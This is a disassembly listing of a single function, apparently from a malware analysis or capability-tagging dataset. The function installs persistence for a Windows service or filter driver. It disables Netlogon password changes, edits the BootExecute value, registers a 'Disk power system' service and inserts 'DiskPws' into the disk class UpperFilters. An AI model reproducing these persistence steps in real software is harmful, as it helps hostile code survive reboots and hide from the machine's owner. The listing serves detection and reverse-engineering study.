Function at 0x402630
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x288
push ebx
push ebp
push esi
push edi
xor eax, eax
xor ebx, ebx
mov byte [esp + 0x98], bl
mov ecx, 0x7f
lea edi, [esp + 0x99]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 1
push edi
call fcn.00401fb0
add esp, 4
call fcn.00401930
movzx eax, ax
cmp eax, 4
je 0x402698
jle 0x402a3c
cmp eax, 0xb
jg 0x402a3c
mov dword [esp + 0x24], 2
mov dword [esp + 0x18], str.diskpws
jmp 0x4026a4
mov dword [esp + 0x24], edi
mov dword [esp + 0x18], str.diskpwr
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x14]
push eax
push 0xf003f
push ebx
push str.SYSTEMCurrentControlSetServicesNetlogonParameters
push 0x80000002
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], ebx
call esi
test eax, eax
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jne 0x4026f8
mov edx, dword [esp + 0x14]
push 4
lea ecx, [esp + 0x2c]
push ecx
push 4
push ebx
push str.DisablePasswordChange
push edx
mov dword [esp + 0x40], edi
call ebp
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
push ebx
push str.SYSTEMCurrentControlSetControlSession_Manager
push 0x80000002
mov dword [esp + 0x34], 0x200
call esi
test eax, eax
jne 0x402838
lea edx, [esp + 0x20]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x9c]
push eax
lea ecx, [esp + 0x34]
push ecx
push ebx
push str.BootExecute
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402828
lea esi, [esp + 0x98]
mov dword [esp + 0x20], ebx
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402760
sub eax, edx
push str.autocheck_autochk_
push esi
lea edi, [eax + esi + 1]
call fcn.00404fe0
add esp, 8
test eax, eax
je 0x4027b3
nop
push pe_nt_image_headers32
push edi
push esi
call fcn.00404eb0
mov eax, esi
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402794
sub eax, edx
push str.autocheck_autochk_
push esi
lea edi, [esi + eax + 1]
call fcn.00404fe0
add esp, 8
test eax, eax
jne 0x402780
mov edx, dword [esp + 0x20]
cmp edx, ebx
je 0x4027da
mov eax, esi
lea ebp, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4027c0
sub eax, ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [esp + 0x28], eax
je 0x4027da
inc edx
mov dword [esp + 0x20], edx
lea ecx, [esi + 1]
lea ecx, [ecx]
mov al, byte [esi]
inc esi
cmp al, bl
jne 0x4027e0
sub esi, ecx
add edx, esi
mov dword [esp + 0x20], edx
cmp byte [edi], bl
je 0x4027fa
mov esi, edi
jmp 0x402755
mov ecx, dword [esp + 0x2c]
inc edx
mov dword [esp + 0x20], edx
mov byte [esp + edx + 0x98], bl
inc edx
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x9c]
push eax
push ecx
push ebx
push str.BootExecute
push edx
call ebp
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 1
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
push ebx
push str.SYSTEMCurrentControlSetServices
push 0x80000002
call esi
test eax, eax
jne 0x402964
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [esp + 0x1c]
push 4
lea edx, [esp + 0x1c]
push edx
push 4
push ebx
push str.ErrorControl
push eax
mov dword [esp + 0x30], edi
call ebp
mov edx, dword [esp + 0x1c]
push 4
lea ecx, [esp + 0x1c]
push ecx
push 4
push ebx
push 0x40b73c
push edx
call ebp
mov ecx, dword [esp + 0x1c]
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push ebx
push str.Type
push ecx
call ebp
mov eax, dword [esp + 0x1c]
push 4
lea edx, [esp + 0x1c]
push edx
push 4
push ebx
push str.Start
push eax
mov dword [esp + 0x30], ebx
call ebp
mov ecx, dword [str.Disk_power_system]
mov edx, dword [0x40b71c]
mov eax, dword [0x40b720]
mov dword [esp + 0x30], ecx
mov ecx, dword [0x40b724]
mov dword [esp + 0x34], edx
mov dx, word [0x40b728]
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], ecx
mov word [esp + 0x40], dx
xor eax, eax
mov ecx, 0x14
lea edi, [esp + 0x42]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x30]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402915
mov ecx, dword [esp + 0x1c]
sub eax, edx
inc eax
push eax
lea eax, [esp + 0x34]
push eax
push 1
push ebx
push str.DisplayName
push ecx
call ebp
mov edx, dword [esp + 0x1c]
push 7
push str.Filter
push 1
push ebx
push str.Group
push edx
call ebp
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp word [esp + 0x24], 2
jne 0x402a3c
cmp byte [0x40eb40], bl
jne 0x40298a
push 1
call fcn.004017b0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [esp + 0x14]
push edx
push 0xf003f
push ebx
push str.SYSTEMCurrentControlSetControlClass4D36E967_E325_11CE_BFC1_08002BE10318
push 0x80000002
call esi
test eax, eax
jne 0x402a3c
mov eax, dword [str.DiskPws]
mov ecx, dword [0x40b3c8]
lea edx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x18]
mov dword [esp + 0x9c], eax
lea eax, [esp + 0xa4]
push eax
mov dword [esp + 0xa4], ecx
lea ecx, [esp + 0x2c]
push ecx
push ebx
push str.UpperFilters
push edx
mov dword [esp + 0x30], 0x1f8
mov byte [esp + 0x2af], bl
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402a08
xor eax, eax
mov dword [esp + 0x24], 7
mov dword [esp + 0x18], eax
jmp 0x402a0c
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
mov byte [esp + eax + 0xa0], bl
add eax, 8
push eax
lea eax, [esp + 0x9c]
push eax
push ecx
push ebx
push str.UpperFilters
push edx
call ebp
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret